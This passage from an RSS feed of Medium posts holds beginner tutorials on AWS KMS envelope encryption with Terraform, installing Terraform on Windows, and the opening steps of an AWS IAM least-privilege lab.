Monitoring answers that</li><li><strong>Incident response:</strong> MTTR is a security metric. Faster detection = faster containment</li><li><strong>Trust:</strong> Infrastructure you can’t see, you can’t defend</li></ul><p>This guide gets you from blind to informed. From hoping nothing breaks to knowing when it does.</p><p>Now you’re ready to build observability into everything you deploy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9db5232a494" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encryption of Data using AWS KMS]]></title>
            <link>https://medium.com/@5urg3on/encryption-of-data-using-aws-kms-56ec0774dd83?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/56ec0774dd83</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Tue, 16 Sep 2025 06:01:45 GMT</pubDate>
            <atom:updated>2025-09-16T06:01:45.563Z</atom:updated>
            <content:encoded><![CDATA[<p>AWS Key Management Service (KMS) is a managed encryption and key control service in the AWS cloud. It helps perform cryptographic operations on sensitive data. With KMS, you can easily create, manage, rotate, and retire encryption keys that secure data stored across AWS services like <strong>S3, EBS, EFS, Redshift, and Secrets Manager</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mvjwic4BJsby-8F14QzcgQ.jpeg" /></figure><h3>Key Features of AWS KMS</h3><ul><li><strong>Regional service</strong>: Keys are scoped to regions, ensuring compliance and locality.</li><li><strong>High availability</strong>: Keys are stored with multiple copies in a region for durability and reliability.</li><li><strong>Encryption support</strong>: Works with both symmetric and asymmetric key encryption.</li><li><strong>Access control</strong>: Uses key policies to manage who can access Customer Master Keys (CMKs).</li><li><strong>Key rotation</strong>: Supports automatic rotation of key material to strengthen security. Old key versions remain available to decrypt previously protected data.</li></ul><h3>Types of Keys in KMS</h3><p>AWS KMS uses two main types of keys:</p><ul><li><strong>Master Key (Customer Master Key — CMK)</strong></li><li>— Used to generate and encrypt data keys.</li><li>— Can only encrypt up to 4 KB of data directly.</li><li>— Created and stored in KMS, never leaves unencrypted.</li><li>— Supports <strong>multi-Region CMKs</strong>, which allow encryption in one region and decryption in another.</li><li><strong>Data Key</strong></li><li>— Generated by the CMK for actual data encryption.</li><li>— Encrypted data keys are stored securely alongside encrypted content.</li></ul><h3>Types of Customer Master Keys (CMKs)</h3><ol><li><strong>Customer Managed CMK</strong></li></ol><ul><li>Full control by the customer.</li><li>You handle creation, rotation, key policies, tagging, and deletion.</li><li>Provides fine-grained access and audit.</li></ul><p>2. <strong>AWS Managed CMK</strong></p><ul><li>Created and controlled by AWS services on your behalf.</li><li>Named as aws/&lt;service-name&gt;.</li><li>You can monitor usage but cannot delete or modify them.</li></ul><p><strong>3. AWS Owned CMK</strong></p><ul><li>Fully owned and managed by AWS.</li><li>Shared across multiple accounts.</li><li>Invisible to the customer; cannot be viewed, modified, or audited.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*bGKP16QVig9s7LvlIz7Bhg.png" /><figcaption>Type of CMK</figcaption></figure><p><strong>Data Key<br></strong> Data Keys are encryption keys used to secure and decrypt large amounts of data outside AWS KMS. They are commonly applied to services such as Amazon EBS, S3, and EFS. A Customer Master Key (CMK) generates, encrypts, and decrypts these Data Keys. This allows you to protect high-volume datasets efficiently, while the CMK itself remains within KMS for enhanced security.</p><p><strong>Encryption of Data using AWS KMS</strong><br> The encryption process in AWS KMS is often called <strong>Envelope Encryption</strong> or <strong>Two-Tier Architecture</strong>.</p><p>In this method, your data is first encrypted with a <strong>data key</strong>, and then that data key itself is encrypted using a <strong>Customer Master Key (CMK)</strong>. Afterward, the plaintext data key is discarded, leaving only the encrypted data and its encrypted data key stored together. This design makes it easier to track which key was used and ensures the data can be decrypted securely when needed.</p><h3>NOTE:</h3><p>Just before we go into the encryption process, I would like to say it is important to create an S3 that will make use of for this</p><pre>//Run this command in your vscode to create s3 bucket called: terraform-bucket-47<br>aws s3api create-bucket --bucket terraform-bucket-47 --region eu-north-1 --create-bucket-configuration LocationConstraint=eu-north-1<br><br>//You should see this output, you can also do this manually on your AWS account<br>{<br>    &quot;Location&quot;: &quot;http://terraform-bucket-47.s3.amazonaws.com/&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*LygiLAG9PH-raGDMZq2Ywg.png" /></figure><h3><strong>Encryption Process</strong></h3><h3><strong>Step 1</strong>:</h3><ul><li>Plaintext data is encrypted using a data key, producing encrypted data</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azF6gAMUGuBZDP4P8LdcWA.png" /></figure><h3><strong>Step 2</strong>:</h3><ul><li>The data key is then encrypted with the Customer Master Key (CMK), producing an encrypted version of the data key.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afm41-LgKuDZzeJcPYpHZA.png" /></figure><h3>Step 3</h3><p>The encrypted data key is stored alongside the encrypted data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*hyD9kutZFw3Ct3Xae2Samw.png" /></figure><h3>Step 4</h3><p>The plaintext data key is removed, leaving only its encrypted form for future use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*OMZj_Mj5Ijy2PLi6B3gbBg.png" /></figure><h3>Decryption Process</h3><h4><strong>Step 1</strong>:</h4><p>To decrypt the data, you first need the data key. This is retrieved by asking the CMK to decrypt the encrypted data key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*fdBEXvf4Ev22wax-u6aX2Q.png" /></figure><h4><strong>Step 2</strong>:</h4><p>Once the encrypted data key is decrypted, the data key is available and can be used to unlock the original encrypted data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwQ8Qxa5u0tS1fkTRi6WyA.png" /></figure><h3>Creating an AWS KMS Key</h3><p>You can create AWS KMS keys through the AWS Management Console, AWS KMS API, or using Infrastructure as Code tools like Terraform.</p><p>For this project, we will create a <strong>customer managed KMS key</strong> using Terraform. Start by setting up a folder with the structure below:</p><pre>kms_terraform<br>      |____________ main.tf<br>      |____________ variable.tf<br>      |____________ remote_state.tf<br>      |____________ output.tf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*Ty4aPKuvrwDGd9k1-peysA.png" /></figure><p>Firstly, create <strong>main.tf</strong> which include the provider and the resources to create.</p><pre>provider &quot;aws&quot; {<br>  region  = var.aws_region<br>  profile = var.aws_profile<br>}<br>resource &quot;aws_kms_key&quot; &quot;dt_kms_key&quot; {<br>  description              = var.description<br>  customer_master_key_spec = var.customer_master_key_spec<br>  key_usage                = var.key_usage<br>  is_enabled               = var.is_enabled<br>  enable_key_rotation      = var.enable_key_rotation<br>  tags = {<br>    Name        = &quot;${var.Project}-${var.Environment}-kms-key&quot;<br>    Environment = var.Environment<br>    Project     = var.Project<br>    Vertical    = var.Vertical<br>    Resource    = var.Resource<br>    ManagedBy   = var.ManagedBy<br>  }<br>}</pre><p>Secondly, create <strong>variable.tf </strong>which stores the value of var parameters.</p><pre>variable &quot;aws_region&quot; {<br>  default = &quot;eu-north-1&quot;<br>}<br>variable &quot;aws_profile&quot; {<br>  default = &quot;default&quot;<br>}<br>variable &quot;description&quot; {<br>  default = &quot;Kms Key for encryption&quot;<br>}<br>variable &quot;alias_name&quot; {<br>  default = &quot;default-kms-key&quot;<br>}<br>variable &quot;customer_master_key_spec&quot; {<br>  default = &quot;SYMMETRIC_DEFAULT&quot;<br>}<br>variable &quot;key_usage&quot; {<br>  default = &quot;ENCRYPT_DECRYPT&quot;<br>}<br>variable &quot;is_enabled&quot; {<br>  default = &quot;true&quot;<br>}<br>variable &quot;enable_key_rotation&quot; {<br>  default = &quot;false&quot;<br>}<br>variable &quot;Environment&quot; {<br>  default = &quot;dev&quot;<br>}<br>variable &quot;Vertical&quot; {<br>  default = &quot;operation&quot;<br>}<br>variable &quot;Project&quot; {<br>  default = &quot;default&quot;<br>}<br>variable &quot;Resource&quot; {<br>  default = &quot;kms&quot;<br>}<br>variable &quot;ManagedBy&quot; {<br>  default = &quot;terraform&quot;<br>}</pre><p>Thirdly, create <strong>remote_state.tf </strong>for storing the terraform state in S3 bucket.</p><pre>terraform {<br>  backend &quot;s3&quot; {<br>    bucket         = &quot;terraform-bucket-47&quot;<br>    key            = &quot;terraform/kms/kms.tfstate&quot;<br>    region         = &quot;eu-north-1&quot;<br>    encrypt        = true<br>    dynamodb_table = &quot;terraform-state-lock-dynamo&quot;<br>    profile        = &quot;default&quot;<br>  }<br>}</pre><p>Fourthly, create <strong>output.tf</strong> for printing the key id and arn.</p><pre>output &quot;key_arn&quot; {<br>  value = aws_kms_key.dt_kms_key.arn<br>}<br>output &quot;key_id&quot; {<br>  value = aws_kms_key.dt_kms_key.id<br>}<br>output &quot;key_alias_arn&quot; {<br>  value = aws_kms_alias.dt_kms_key_alias.arn<br>}<br>output &quot;key_alias_name&quot; {<br>  value = aws_kms_alias.dt_kms_key_alias.name<br>}</pre><p>NOTE: I created this on my device and use VS Code editor to connect to AWS using the AWS CLI</p><ol><li>Create access key from the AWS console</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-iAftUtVSV065ZVzHfXiaw.png" /></figure><p>copy the Access key and secret so we can use that in VSCode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYm6jIXcGoBr11hjShuK0Q.png" /></figure><blockquote>run: <em>aws configure</em> from terminal</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCNWAeDkZx-uY95U51wdUA.png" /></figure><pre>aws configure</pre><p>Run <strong>terraform init to initiate terraform.</strong></p><p><em>run this command: terraform init</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*d2eL1V4k5BIZHEfhSOYySA.png" /></figure><h4>Dynamodb</h4><p>create the dynamodb table</p><pre>aws dynamodb create-table `<br>  --table-name terraform-state-lock-dynamo `<br>  --attribute-definitions AttributeName=LockID,AttributeType=S `<br>  --key-schema AttributeName=LockID,KeyType=HASH `<br>  --billing-mode PAY_PER_REQUEST `<br>  --region eu-north-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*i-e9TM-JRlVmsH5y8haNMA.png" /><figcaption>dynamodb table creation</figcaption></figure><p>It should also reflect on your AWS account as this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*AmvBZo4FGQWGSNauP5pLww.png" /></figure><p>Finally run <strong>terraform apply</strong> for the provisioning of Customer Managed KMS Key in AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*3o33aurlO8o9jVgVjaaaRQ.png" /></figure><p><strong>AWS KMS Console After Key Creation:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXefWeUJSdjJKAi4pi4LBQ.png" /></figure><h3>Encryption of EBS Volume Using KMS</h3><p>This example demonstrates how to create an encrypted Amazon EBS volume using a customer-managed KMS key. By default, Amazon EBS uses the AWS-managed key (aws/ebs) for encryption.</p><p>When you attach an encrypted EBS volume to an EC2 instance, the following data is protected:</p><ul><li>Data stored on the volume (at rest)</li><li>Data transferred between the volume and the EC2 instance</li><li>Snapshots created from the volume</li><li>New volumes created from those snapshots</li></ul><p>The code snippet below illustrates attaching an encrypted EBS volume to an EC2 instance using Terraform:</p><pre>root_block_device {<br>    encrypted             = var.encrypted <br>    kms_key_id            = var.kms_master_key_arn     <br>    volume_type           = var.volume_type<br>    volume_size           = var.volume_size<br>    delete_on_termination = var.delete_on_termination<br>  }<br>variable &quot;encrypted&quot; {<br>  default = &quot;true&quot;<br>}<br>variable &quot;kms_master_key_arn&quot; {<br>  default = &quot;arn:aws:kms:eu-central-1:01987654321:key/98ab1621-3d3d-4131-9f26-48c74db0d9a9&quot;<br>}<br>variable &quot;volume_type&quot; {<br>  default = &quot;gp2&quot;<br>}<br>variable &quot;volume_size&quot; {<br>  default = &quot;30&quot;<br>}<br>variable &quot;delete_on_termination&quot; {<br>  default = &quot;true&quot;<br>}</pre><p>Add this to the bottom of the main.tf file the run “terraform apply” your main.tf file should then look like this:</p><pre>provider &quot;aws&quot; {<br>  region  = var.aws_region<br>  profile = var.aws_profile<br>}<br><br>resource &quot;aws_kms_key&quot; &quot;default_kms_key&quot; {<br>  description              = var.description<br>  customer_master_key_spec = var.customer_master_key_spec<br>  key_usage                = var.key_usage<br>  is_enabled               = var.is_enabled<br>  enable_key_rotation      = var.enable_key_rotation<br>  tags = {<br>    Name        = &quot;${var.Project}-${var.Environment}-kms-key&quot;<br>    Environment = var.Environment<br>    Project     = var.Project<br>    Vertical    = var.Vertical<br>    Resource    = var.Resource<br>    ManagedBy   = var.ManagedBy<br>  }<br>}<br><br># --------- Add EC2 with encrypted root EBS volume ---------<br>resource &quot;aws_instance&quot; &quot;ebs_instance&quot; {<br>  ami           = &quot;ami-0fd2b85ee2b4dc969&quot;   # replace with your region&#39;s AMI<br>  instance_type = &quot;t3.micro&quot;<br><br>  root_block_device {<br>    encrypted             = true<br>    kms_key_id            = aws_kms_key.default_kms_key.arn<br>    volume_type           = &quot;gp2&quot;<br>    volume_size           = 30<br>    delete_on_termination = true<br>  }<br><br>  tags = {<br>    Name = &quot;EBSInstance&quot;<br>  }<br>}<br><br># Outputs for the new EC2 instance<br>output &quot;ebs_instance_id&quot; {<br>  value = aws_instance.ebs_instance.id<br>}<br><br>output &quot;ebs_instance_public_ip&quot; {<br>  value = aws_instance.ebs_instance.public_ip<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*4Bv08QqHieNdsuUoFbuuqg.png" /></figure><p>We have our volume ready</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hoJdt6qXpAKCmZ5kyIuwlQ.png" /></figure><h3>Conclusion</h3><p>Encrypting data in the cloud is a top priority for security professionals, and managing the associated encryption keys is critical. Handling a large number of keys manually can be complex and error-prone. This is where automated key management services, like AWS KMS, become essential.</p><p>This post provided an overview of AWS KMS, including KMS keys and their types, the encryption and decryption process, and how to create and manage keys.</p><p>I hope this guide helps you get started with AWS KMS. Feel free to connect with me on LinkedIn if you have questions. Happy encrypting with AWS!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56ec0774dd83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Terraform Installation on Window Device]]></title>
            <link>https://medium.com/@5urg3on/terraform-installation-on-window-device-36248232871a?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/36248232871a</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 06:01:42 GMT</pubDate>
            <atom:updated>2025-09-10T06:01:42.162Z</atom:updated>
            <content:encoded><![CDATA[<h3>Install Terraform on Windows</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3l7mtsMrcZhPorZABemXww.jpeg" /></figure><p>Use this step by step guide to install Terraform on Windows machine.</p><ol><li>Download Terraform</li></ol><ul><li>Open the official HashiCorp Terraform downloads page website: <a href="https://developer.hashicorp.com/terraform/install">https://developer.hashicorp.com/terraform/install</a></li><li>Download the Windows 64 bit zip.</li></ul><p>2. Extract downloaded zip file to view the terraform.exe</p><ul><li>Open the downloaded zip.</li><li>Copy terraform.exe.</li></ul><p>3. Create install folder</p><ul><li>Create a folder name anything but I will create Terraform under program file it will beC:\\Program Files\\Terraform</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*jvdgqpD5hB4T2GTkr5YEnQ.png" /><figcaption>Create new form in Program Files</figcaption></figure><ul><li>Note: creating a folder inside Program Files may ask for admin permission if your device is manage by your company.</li></ul><p>4. Paste the exe</p><ul><li>Paste terraform.exe into C:\\Program Files\\Terraform.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gjvcpl5MhxDZvYGvv1GS7g.png" /><figcaption>Add the exe terraform file to the Program Files Directory</figcaption></figure><p>5. Add folder to PATH (GUI method)</p><ul><li>Press Windows key and type Environment Variables.</li><li>Open Edit the system environment variables.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*SAAPHAncPFp-WzT_b23g1w.png" /></figure><ul><li>Click Environment Variables.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*coltGBO_227UPZVz2hbRXA.png" /></figure><ul><li>Under System variables select Path and click Edit.</li><li>Click New and add: C:\\Program Files\\Terraform.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*UV64U8cFCNbVAMsX5YC8VQ.png" /></figure><ul><li>Click OK until all dialogs close.</li></ul><p>6. Or add to PATH using PowerShell (admin)</p><ul><li>Open PowerShell as administrator.</li><li>Run:</li></ul><pre>[Environment]::SetEnvironmentVariable(&quot;Path&quot;, $env:Path + &quot;;C:\\Program Files\\Terraform&quot;, &quot;Machine&quot;)</pre><p>7. Reload environment</p><ul><li>Close and reopen Command Prompt or PowerShell.</li><li>If still not found, sign out and sign back in or restart.</li></ul><p>8. Verify install</p><ul><li>Open Command Prompt or PowerShell and run:</li></ul><pre>terraform -v</pre><ul><li>You should see Terraform version output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*3LZWnhqWQrXiGJcReHyZ2g.png" /><figcaption>check terrafom version</figcaption></figure><p><strong><em>9. Quick troubleshooting</em></strong></p><ul><li>If command not found, confirm terraform.exe is in C:\\Program Files\\Terraform.</li><li>Confirm C:\\Program Files\\Terraform is in the Path variable.</li><li>Ensure file is named terraform.exe and not terraform.exe.zip or terraform.exe.exe.</li><li>Moving files to Program Files may require admin rights.</li></ul><p>I will be reading your comment if you find this useful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36248232871a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud Security with AWS IAM — Project]]></title>
            <link>https://medium.com/@5urg3on/cloud-security-with-aws-iam-project-b164dca7ed18?source=rss-73a5934e570d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b164dca7ed18</guid>
            <dc:creator><![CDATA[Sylvester I. Baruch]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 23:44:53 GMT</pubDate>
            <atom:updated>2025-09-01T23:44:53.607Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cloud Security with AWS IAM — Project</h3><h3>Project Overview</h3><p><strong>Cloud Security with Amazon Web Services (AWS) IAM</strong> is a practical project focused on building secure cloud environments by managing identity and access.</p><p>The goal of this project was to apply <strong>Identity and Access Management (IAM)</strong> principles in a real environment. I implemented <strong>least privilege policies</strong>, <strong>secure credential sharing</strong>, and <strong>environment-based access separation</strong> to ensure resources are both accessible and protected.</p><p>This project demonstrates how <strong>IAM is the backbone of cloud security</strong>. Without proper identity controls, even the strongest infrastructure can become vulnerable.</p><p>Now let’s go to <strong>Step 1</strong>.</p><h3>⚡️ 30 second Summary</h3><p>In AWS, a user is a person or a computer that can do things on the cloud — just like you right now!</p><p>Today, we’ll be using the <strong>AWS Identity and Access Management (IAM)</strong> service to control who is authenticated (signed in) and authorized (has permissions) in our AWS account.</p><p>We’ll launch an EC2 instance, then control who has access to it by creating some IAM policies and user groups. It will look something like this…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQ-ZHxoHquIAaqdAiDid1w.jpeg" /></figure><p><strong>Get ready to create (and learn from scratch):</strong></p><ol><li>💻 EC2 instances</li><li>📏 IAM Policies</li><li>👩‍👩‍👧‍👧 IAM Users and User Groups</li><li>🔖 AWS Account Alias</li></ol><p>Let’s roll up our sleeves and get this built in the next hour. 💪</p><h3>Project Plan</h3><h3>Project Context and Background</h3><p>Welcome to the BXY team!</p><p>(Wait, what?)</p><p>You’ve just joined our dynamic team as a DevOps engineer, and we’re thrilled to have you on board. 👋</p><p>As we gear up for the upcoming holiday season, we need to:</p><ol><li>⚡️ <strong>Boost our computing power</strong> to match increased traffic to the website. Lots of new students want to learn with BXY over the break!</li><li>👩‍💻 Onboard an trainee working at BXY — they should have the <strong>right permission settings</strong> to contribute while keeping the company’s resources secure.</li></ol><p>Let’s start with the first task and <strong>boost computing power</strong> by launching some EC2 instances.</p><p><strong>In this step, get ready to:</strong></p><p>Launch two Amazon EC2 instances so that we can increase BXY’s computing power!</p><h3>Step #1: Launch EC2 Instances</h3><ul><li><a href="https://console.aws.amazon.com/">Log in to our AWS Management Console</a>.</li><li>Open your EC2 console — search for it at the search bar.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8ETTfpvvw9DNl-ONgw-ZQ.png" /></figure><p><strong><em>Let’s understand EC2</em></strong></p><blockquote><strong>What is EC2?</strong></blockquote><blockquote><em>A legendary AWS service! Amazon EC2 is a service that lets you rent and use virtual computers in the cloud. They’re like your personal computers, but they exist on the traineeet instead of being physically in front of you. You can create, customize, and use these computers for all different reasons, from running applications to hosting websites.</em></blockquote><blockquote><em>Psssst… EC2 = </em><strong><em>Elastic Compute Cloud.</em></strong></blockquote><blockquote><em>Here’s what the three words mean:</em></blockquote><blockquote><em>1️⃣ </em><strong><em>Elastic</em></strong><em> = flexible. This service can easily adapt and change in size and power to fit your needs.</em></blockquote><blockquote><em>2️⃣ </em><strong><em>Compute</em></strong><em> = computing power. EC2 provides virtual computers that can do various tasks, just like your personal computer.</em></blockquote><blockquote><em>3️⃣ </em><strong><em>Cloud</em></strong><em> = available over the traineee.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uS1Ozp3JQF8Q44I5Xrk8BQ.png" /></figure><ul><li>Switch your <strong>Region</strong> to the one closest to you!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*LYcsOQNpEL_Oe7SvAqkZzA.png" /></figure><ul><li>In your EC2 console, choose <strong>Launch instance</strong>.</li></ul><blockquote><strong>What are EC2 instances?</strong></blockquote><blockquote><em>If EC2 is the service that provides virtual computers or servers, each instance is one of those computers or servers that gets produced.</em></blockquote><blockquote><em>Just like you can choose a computer with more memory or a faster processor when you buy a laptop, with EC2 instances, you can pick a virtual computer that fits what you need for your projects. You can customize your EC2 instance’s CPU, memory, storage, networking capacity and more!</em></blockquote><blockquote><em>💡 </em><strong><em>What’s the difference between a virtual computer and a server?</em></strong></blockquote><blockquote><em>A virtual computer is basically the same as a normal computer… only, without the screen, keyboard, and other things that make it super easy to use. Without these physical elements, it becomes virtual! When a computer is virtual, you can access it from your own physical computer — basically giving your normal computer super powers.</em></blockquote><blockquote><em>Turns out, a server is also a computer. But a server is specifically designed to be used by a whole group of other computers to help with things like more power or storage. Servers are great for things like hosting websites, storing files, or running games that multiple people play together, whereas virtual computers are designed to be an extension of a personal computer.</em></blockquote><ul><li>Let’s set up your EC2 instance!</li><li>In <strong>Name</strong>, enter the value.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*RLTqrd28sSX3nW_tfmtqJQ.png" /></figure><ul><li>Choose <strong>Add new tag</strong>.</li><li>For the next tag, use this information:</li><li>Key: Env</li><li>Value: production</li></ul><blockquote><em>💡 Why are we creating a new tag? What does this tag mean, how will it be useful later?</em></blockquote><blockquote><em>Tags are like labels you can attach to AWS resources for organization.</em></blockquote><blockquote><em>In this case, we’re creating a tag called “Env” with a value of “production” or “development” to label the instances used in production vs development environments.</em></blockquote><blockquote><em>This tagging helps us with identifying all resources with the same tag at once (they are useful filters when you’re searching for something), cost allocation, and applying policies based on environment types. You’ll see the last point about policies in action soon!</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*Gqadvc6OFJl1dLdDzznrlA.png" /></figure><ul><li>Head on down to see your EC2 settings and make sure the <strong>Amazon Machine Image (AMI)</strong> is using a <strong>Free tier eligible</strong> option.</li></ul><blockquote><strong><em>💡 What is AMI? What is Free tier eligible?</em></strong></blockquote><blockquote><em>When you buy a new computer off the shelf, most computers already have some software and the operating system (e.g. MacOS, Windows) already configured and set up for you!</em></blockquote><blockquote><em>AMI stands for Amazon Machine Image, and it’s very similar to those pre-built computers. An AMI is a template or blueprint used to create EC2 instances and contains the operating system along with the applications needed to launch the instance.</em></blockquote><blockquote><strong><em>Free tier eligible</em></strong><em> AMIs are those that qualify for the AWS Free Tier, so you won’t get charged for using it.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*vbIfITdppBkgPcxBpcUVzQ.png" /></figure><ul><li>For the instance type, also make sure you’re using a <strong>Free tier eligible</strong> option!</li></ul><blockquote><strong><em>💡 What is instance type?</em></strong></blockquote><blockquote><em>If AMIs give you pre-built software and operating systems, instance types cover the ‘</em><strong><em>hardware</em></strong><em>’ components.</em></blockquote><blockquote><em>CPU power, memory size, storage space and more!</em></blockquote><blockquote><em>So, while the AMI decides what operating system your server runs, the instance type determines how fast and powerful it performs.</em></blockquote><ul><li>For <strong>Key pair (login)</strong>, select <strong>Proceed without a key pair</strong>.</li></ul><blockquote><em>💡 What is a key pair? Why does it say (Not recommended) next to proceeding without one?</em></blockquote><blockquote><em>A key pair is primarily used for accessing your EC2 instance securely </em><strong><em>without going through the AWS Management Console</em></strong><em>. Instead of the Management Console, you’re using SSH (Secure Shell) Access with your key pairs — this is out of scope for this project, but you’ll learn more about SSH and key pairs in a networking or compute-themed project!</em></blockquote><blockquote><em>Proceeding without a key pair means you won’t have SSH (Secure Shell) access to your instance, which is generally not recommended because it limits your ability to troubleshoot or manage your EC2 instance through a secure way outside of the Console. It’s always safer and more flexible to have a key pair set up, so you would create a key pair for bigger projects that you work on over a longer period of time.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*5I1qL7oyxWGJ9V9B40omkg.png" /></figure><p><strong><em>Step 1: Your Key pair setup and name.</em></strong></p><ul><li>You’re ready! Click <strong>Launch instance</strong>.</li></ul><blockquote><em>💡 Hold up… what are the settings we’ve skipped just now?</em></blockquote><blockquote><em>We skipped configuring network and storage settings for simplicity in this project. These settings are crucial for fine-tuning your EC2 instances’ performance, security, and connectivity, but for this project, we’ll focus on the basic steps of launching instances with minimal configuration.</em></blockquote><blockquote><strong><em>Network settings</em></strong><em> define how your instances interact with the traineeet and other AWS resources, determining factors like IP addresses and network routing.</em></blockquote><blockquote><strong><em>Storage settings</em></strong><em> involve choosing the type and size of storage volumes (like hard drives) that your EC2 instance will use to store data.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*PtoaB5CoQmyb21RXFBXzAA.png" /></figure><p>Step 1: Configure your network settings.</p><ul><li>Looks like a success!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*jAX8whTu0UNwaoiXyIYZAA.png" /><figcaption>Step 1: Great success.</figcaption></figure><p>Now let’s create one more EC2 instance for the <strong>development environment</strong>.</p><blockquote><em>💡 What do the development vs production environments mean?</em></blockquote><blockquote><em>Development and production environments refer to different stages in the software development lifecycle.</em></blockquote><blockquote><em>The </em><strong><em>development</em></strong><em> environment is where developers write, test, and debug code before it’s deployed to </em><strong><em>production</em></strong><em>, which is the live environment that your end users can use!</em></blockquote><p>Repeat the same flow, but this time using these tags:</p><ul><li>Name: suweto-dev-EC2</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*gNO6Dm4S7YGlD_W3wrNWBQ.png" /></figure><p>Env: development</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*-rjO7jmlfPPDrnimRwMr7Q.png" /></figure><p>Pause and answer this Question:</p><ol><li><strong>✍️ What are tags? What are they useful for?</strong></li><li><strong>✍️ What are the tags and values you’ve assigned to your two EC2 instances?</strong></li></ol><ul><li>Launch your second instance.</li><li>Select <strong>Instances</strong> from your left hand navigation panel.</li><li>If you only see one instance on your page, make sure to use that refresh button!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2Fic86EyKeNr3mqa89tMQ.png" /><figcaption><em>Step 1: Viewing your instances.</em></figcaption></figure><ul><li>Let’s have a look at your wonderful work.</li><li>Select the checkbox next to one of your instances, and a popup window of information pops up!</li><li>Select the <strong>Tags</strong> tab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_KlT6SqsrT9bKz638SgCRA.png" /></figure><p>Voila — you’ll see the tags you’ve defined right here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*S-gFrNyBfi2CW1YBPxTgxg.png" /></figure><p><em>Step 1: And here’s your tag</em></p><h3>Step #2: Create an IAM Policy</h3><p>🎉 WOOOOOOO! You’ve deployed two EC2 instances, one for your production environment and one for your development environment.</p><p>Now let’s move into our second task as BXY’s engineer — it’s time to onboard the team’s new trainee and <strong>set up permission policies.</strong></p><p>Our trainee should have permission to the development EC2 instance but <strong>not</strong> the production instance. We don’t want them to accidentally shut down the platform or push their changes to the production environment while they’re just testing things!</p><p>To start this task, we’ll use AWS IAM to <strong>give</strong> our trainee access to the development instance first.</p><p><strong>In this step, get ready to:</strong></p><p>Create an IAM policy that gives access to the development instance.</p><blockquote><em>Question: pause to answer this question:</em></blockquote><ul><li><strong>What are we doing in this step?</strong></li></ul><p>Head to your IAM console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*LxlkZ7KQKic9HkqQOODOQA.png" /><figcaption><em>Step 2: Find IAM in your console.</em></figcaption></figure><blockquote><strong>💡 What is IAM?</strong></blockquote><blockquote><em>IAM stands for Identity and Access Management. You’ll use AWS IAM to manage the access level that other users and services have to your resources.</em></blockquote><ul><li>Now on the left-hand navigation panel of your IAM console, choose 